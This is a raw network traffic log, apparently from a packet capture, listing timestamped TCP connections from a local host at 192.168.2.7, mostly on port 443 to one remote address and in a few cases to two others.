Dec 3, 2024 17:41:40.674993992 CET	443	49776	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:40.675443888 CET	49776	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:40.675448895 CET	443	49776	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:40.685313940 CET	443	49775	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:40.685870886 CET	49775	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:40.685933113 CET	443	49775	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:40.686434031 CET	49775	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:40.686446905 CET	443	49775	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:40.901921034 CET	443	49777	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:40.903553009 CET	49777	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:40.903585911 CET	443	49777	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:40.904036045 CET	49777	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:40.904047966 CET	443	49777	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:41.111665010 CET	443	49776	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:41.111732960 CET	443	49776	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:41.111809015 CET	49776	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:41.112046957 CET	49776	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:41.112067938 CET	443	49776	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:41.112078905 CET	49776	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:41.112083912 CET	443	49776	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:41.114694118 CET	49780	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:41.114748955 CET	443	49780	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:41.114816904 CET	49780	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:41.114945889 CET	49780	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:41.114963055 CET	443	49780	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:41.131606102 CET	443	49775	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:41.131664038 CET	443	49775	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:41.131740093 CET	49775	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:41.131884098 CET	49775	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:41.131896973 CET	443	49775	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:41.131906986 CET	49775	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:41.131911039 CET	443	49775	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:41.134251118 CET	49781	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:41.134294987 CET	443	49781	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:41.134365082 CET	49781	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:41.134471893 CET	49781	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:41.134481907 CET	443	49781	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:41.339519024 CET	443	49777	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:41.339596033 CET	443	49777	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:41.339675903 CET	49777	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:41.339905024 CET	49777	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:41.339926958 CET	443	49777	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:41.339937925 CET	49777	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:41.339942932 CET	443	49777	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:41.342622995 CET	49782	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:41.342669010 CET	443	49782	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:41.342730999 CET	49782	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:41.342892885 CET	49782	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:41.342911959 CET	443	49782	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:41.364430904 CET	443	49778	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:41.364816904 CET	49778	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:41.364831924 CET	443	49778	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:41.365242004 CET	49778	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:41.365247011 CET	443	49778	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:41.820580959 CET	443	49778	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:41.820664883 CET	443	49778	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:41.820923090 CET	49778	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:41.820976973 CET	49778	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:41.820998907 CET	443	49778	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:41.821012974 CET	49778	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:41.821019888 CET	443	49778	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:41.823733091 CET	49783	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:41.823779106 CET	443	49783	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:41.823853970 CET	49783	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:41.823997021 CET	49783	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:41.824008942 CET	443	49783	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:42.537909985 CET	443	49779	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:42.539572954 CET	49779	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:42.539633036 CET	443	49779	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:42.599569082 CET	49779	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:42.599632025 CET	443	49779	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:42.909962893 CET	443	49780	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:42.910495043 CET	49780	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:42.910531998 CET	443	49780	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:42.910970926 CET	49780	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:42.910976887 CET	443	49780	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:42.987899065 CET	443	49781	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:42.988372087 CET	49781	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:42.988399982 CET	443	49781	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:42.988831997 CET	49781	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:42.988842964 CET	443	49781	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:42.991751909 CET	443	49779	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:42.991807938 CET	443	49779	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:42.991853952 CET	49779	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:42.991986990 CET	49779	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:42.992007971 CET	443	49779	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:42.992021084 CET	49779	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:42.992027044 CET	443	49779	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:42.994822025 CET	49784	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:42.994882107 CET	443	49784	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:42.994951010 CET	49784	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:42.995075941 CET	49784	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:42.995094061 CET	443	49784	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:43.222944975 CET	443	49782	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:43.223395109 CET	49782	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:43.223417044 CET	443	49782	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:43.223850965 CET	49782	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:43.223855019 CET	443	49782	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:43.383775949 CET	443	49780	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:43.383872986 CET	443	49780	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:43.383919954 CET	49780	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:43.384315014 CET	49780	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:43.384336948 CET	443	49780	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:43.384347916 CET	49780	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:43.384355068 CET	443	49780	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:43.387337923 CET	49785	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:43.387396097 CET	443	49785	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:43.387456894 CET	49785	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:43.387762070 CET	49785	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:43.387775898 CET	443	49785	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:43.440797091 CET	443	49781	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:43.440877914 CET	443	49781	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:43.440927982 CET	49781	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:43.441210985 CET	49781	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:43.441226006 CET	443	49781	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:43.444322109 CET	49786	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:43.444370031 CET	443	49786	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:43.444426060 CET	49786	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:43.444633961 CET	49786	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:43.444653034 CET	443	49786	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:43.569158077 CET	443	49783	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:43.569587946 CET	49783	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:43.569610119 CET	443	49783	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:43.570065975 CET	49783	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:43.570070028 CET	443	49783	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:43.677339077 CET	443	49782	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:43.677408934 CET	443	49782	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:43.677464962 CET	49782	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:43.677656889 CET	49782	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:43.677684069 CET	443	49782	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:43.677700996 CET	49782	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:43.677706957 CET	443	49782	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:43.680898905 CET	49787	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:43.680947065 CET	443	49787	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:43.681034088 CET	49787	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:43.681178093 CET	49787	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:43.681189060 CET	443	49787	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:44.007400036 CET	443	49783	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:44.007474899 CET	443	49783	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:44.007529974 CET	49783	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:44.007997036 CET	49783	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:44.008018017 CET	443	49783	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:44.008028984 CET	49783	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:44.008034945 CET	443	49783	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:44.012321949 CET	49788	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:44.012373924 CET	443	49788	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:44.012830019 CET	49788	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:44.013072014 CET	49788	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:44.013092995 CET	443	49788	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:44.848087072 CET	443	49784	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:44.892518997 CET	49784	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.044442892 CET	49784	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.044466019 CET	443	49784	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.044975996 CET	49784	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.044981956 CET	443	49784	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.235269070 CET	443	49786	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.247148991 CET	443	49785	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.286854029 CET	49786	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.299758911 CET	49785	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.374864101 CET	49786	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.374887943 CET	443	49786	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.375406027 CET	49786	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.375412941 CET	443	49786	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.375822067 CET	49785	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.375845909 CET	443	49785	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.376471043 CET	49785	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.376481056 CET	443	49785	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.379077911 CET	443	49784	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.379143000 CET	443	49784	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.379256010 CET	49784	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.382673025 CET	49784	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.382694960 CET	443	49784	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.454988956 CET	49791	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.455040932 CET	443	49791	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.455131054 CET	49791	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.483583927 CET	49791	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.483598948 CET	443	49791	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.542800903 CET	443	49787	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.543649912 CET	49787	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.543674946 CET	443	49787	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.544570923 CET	49787	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.544576883 CET	443	49787	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.693270922 CET	443	49786	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.693371058 CET	443	49786	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.693474054 CET	49786	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.704835892 CET	443	49785	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.704895973 CET	443	49785	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.704982042 CET	49785	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.840789080 CET	443	49788	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.883560896 CET	49788	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.906127930 CET	49786	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.906160116 CET	443	49786	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.906199932 CET	49786	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.906207085 CET	443	49786	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.917313099 CET	49785	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.917344093 CET	443	49785	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.917356968 CET	49785	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.917362928 CET	443	49785	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.937071085 CET	49788	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.937102079 CET	443	49788	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.943334103 CET	49788	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.943341970 CET	443	49788	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.952738047 CET	49795	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.952775955 CET	443	49795	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.952836990 CET	49795	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.953242064 CET	49795	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.953250885 CET	443	49795	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.953742981 CET	49796	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.953785896 CET	443	49796	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.953855991 CET	49796	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.953965902 CET	49796	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.953973055 CET	443	49796	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.996741056 CET	443	49787	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.996818066 CET	443	49787	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.996877909 CET	49787	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.997108936 CET	49787	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.997129917 CET	443	49787	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:45.997140884 CET	49787	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:45.997145891 CET	443	49787	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:46.008119106 CET	49797	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:46.008155107 CET	443	49797	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:46.008228064 CET	49797	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:46.008565903 CET	49797	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:46.008574963 CET	443	49797	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:46.295226097 CET	443	49788	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:46.295427084 CET	443	49788	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:46.295500994 CET	49788	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:46.297904015 CET	49788	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:46.297925949 CET	443	49788	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:46.307185888 CET	49801	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:46.307245970 CET	443	49801	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:46.307322025 CET	49801	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:46.307526112 CET	49801	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:46.307535887 CET	443	49801	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:47.273689985 CET	443	49791	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:47.277014017 CET	49791	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:47.277029037 CET	443	49791	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:47.277761936 CET	49791	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:47.277766943 CET	443	49791	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:47.705775023 CET	443	49795	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:47.706413984 CET	49795	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:47.706445932 CET	443	49795	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:47.706971884 CET	49795	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:47.706984043 CET	443	49795	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:47.717783928 CET	443	49791	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:47.717808008 CET	443	49791	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:47.717883110 CET	49791	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:47.717900038 CET	443	49791	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:47.718281984 CET	49791	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:47.718281984 CET	49791	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:47.718291044 CET	443	49791	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:47.718324900 CET	443	49791	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:47.723484993 CET	49803	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:47.723541021 CET	443	49803	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:47.723768950 CET	49803	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:47.723769903 CET	49803	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:47.723803997 CET	443	49803	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:47.758904934 CET	443	49796	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:47.759819031 CET	49796	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:47.759865046 CET	443	49796	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:47.760075092 CET	49796	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:47.760080099 CET	443	49796	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:47.805248976 CET	443	49797	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:47.805917025 CET	49797	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:47.805946112 CET	443	49797	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:47.806653976 CET	49797	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:47.806660891 CET	443	49797	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.110663891 CET	443	49801	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.117614985 CET	49801	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:48.117641926 CET	443	49801	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.118341923 CET	49801	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:48.118350029 CET	443	49801	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.143768072 CET	443	49795	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.143847942 CET	443	49795	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.143923044 CET	49795	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:48.148196936 CET	49795	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:48.148221016 CET	443	49795	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.148233891 CET	49795	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:48.148240089 CET	443	49795	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.166647911 CET	49805	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:48.166687965 CET	443	49805	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.166752100 CET	49805	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:48.168464899 CET	49805	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:48.168478966 CET	443	49805	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.236035109 CET	443	49796	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.236102104 CET	443	49796	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.236231089 CET	49796	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:48.244055986 CET	49796	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:48.244086027 CET	443	49796	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.244106054 CET	49796	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:48.244112968 CET	443	49796	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.257824898 CET	49806	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:48.257941961 CET	443	49806	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.258029938 CET	49806	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:48.261523008 CET	49806	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:48.261555910 CET	443	49806	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.265680075 CET	443	49797	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.265707970 CET	443	49797	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.265808105 CET	49797	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:48.265820026 CET	443	49797	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.267905951 CET	443	49797	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.268287897 CET	49797	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:48.315932989 CET	49797	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:48.315932989 CET	49797	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:48.315967083 CET	443	49797	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.315999031 CET	443	49797	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.561199903 CET	443	49801	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.561235905 CET	443	49801	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.561430931 CET	49801	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:48.561460018 CET	443	49801	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.561505079 CET	49801	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:48.565795898 CET	443	49801	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.565874100 CET	443	49801	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.565931082 CET	49801	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:48.603899002 CET	49801	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:48.603928089 CET	443	49801	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.603955030 CET	49801	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:48.603960037 CET	443	49801	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.620251894 CET	49807	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:48.620297909 CET	443	49807	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.620492935 CET	49807	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:48.621083021 CET	49808	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:48.621113062 CET	443	49808	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.621184111 CET	49808	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:48.621879101 CET	49807	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:48.621893883 CET	443	49807	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.622083902 CET	49808	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:48.622101068 CET	443	49808	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:48.884852886 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:49.458751917 CET	443	49803	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:49.459415913 CET	49803	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:49.459445000 CET	443	49803	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:49.459870100 CET	49803	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:49.459877014 CET	443	49803	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:49.783045053 CET	49809	443	192.168.2.7	142.250.181.100
Dec 3, 2024 17:41:49.783101082 CET	443	49809	142.250.181.100	192.168.2.7
Dec 3, 2024 17:41:49.783165932 CET	49809	443	192.168.2.7	142.250.181.100
Dec 3, 2024 17:41:49.783651114 CET	49809	443	192.168.2.7	142.250.181.100
Dec 3, 2024 17:41:49.783667088 CET	443	49809	142.250.181.100	192.168.2.7
Dec 3, 2024 17:41:49.902650118 CET	443	49806	13.107.246.63	192.168.2.7
